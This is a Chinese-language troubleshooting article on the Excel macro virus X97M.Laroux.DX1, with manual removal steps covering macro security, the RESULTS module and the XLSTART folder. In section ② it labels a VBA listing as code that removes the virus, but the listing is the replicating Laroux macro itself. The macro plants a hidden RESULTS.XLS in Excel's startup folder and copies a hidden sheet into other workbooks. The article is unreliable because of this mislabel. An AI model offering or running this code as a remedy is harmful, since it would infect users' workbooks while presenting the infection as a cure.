EXCEL中宏毒X97M.Laroux.DX1的解決辦法

        一般來(lái)說(shuō)，EXCEL是不容易中毒的，要中毒的話，就會(huì)中宏代碼的毒。如果您的EXCEL中了X97M.Laroux.DX1的毒，請(qǐng)使用如下的方法來(lái)解決。

        一、常規(guī)方法

        使用殺毒軟件掃描全盤(pán)文件，然后，進(jìn)入安全模式再刪除相應(yīng)文件即可。

        二、使用EXCEL來(lái)解決

        ①禁止宏運(yùn)行

        將EXCEL的安全級(jí)別設(shè)置為最高，這樣，X97M.Laroux.DX1宏就不能運(yùn)行了。之后，打開(kāi)EXCEL，將宏刪除即可。

        刪除方法為：工具→宏→宏→刪除。

        ②使用宏代碼刪除此毒

        刪除X97M.Laroux.DX1宏毒的宏代碼如下：

　　Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

 

        三、最近很多網(wǎng)友發(fā)帖求助，打開(kāi)EXCEL后360跳出殺毒X97M.laroux.DX1，接著EXCEL運(yùn)行就非常慢，而且打開(kāi)后不會(huì)出現(xiàn)空白工作表，需要手動(dòng)點(diǎn)擊新建，ALT+F11查看文件內(nèi)自動(dòng)增加了一個(gè)RESULTS模塊。

Macro.Excel.Laroux.cs惡意程序
病毒類(lèi)型：宏病毒
病毒行為：
1. 將工作表的激活事件指定為“ck_files”。
2. 在 Excel 的啟動(dòng)目錄下生成“RESULTS.XLS”文件并隱藏地打開(kāi)以便調(diào)用其“ck_files”函數(shù)。
3. 在打開(kāi)的原來(lái)已包含宏代碼的Excel文件時(shí)，插入一個(gè)Results模塊。

解決方法：
打開(kāi)有問(wèn)題的Excel文件，ALT+F11進(jìn)入VBE編輯框，直接刪除模塊內(nèi)的Results，然后按以下操作：
windows xp用戶從以下目錄進(jìn)入：
C:\Documents and Settings\你的用戶名\Application Data\Microsoft\Excel\XLSTART
windows7用戶從以下目錄進(jìn)入：
C:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART
進(jìn)入后直接刪除RESULTS.XLS文件即可。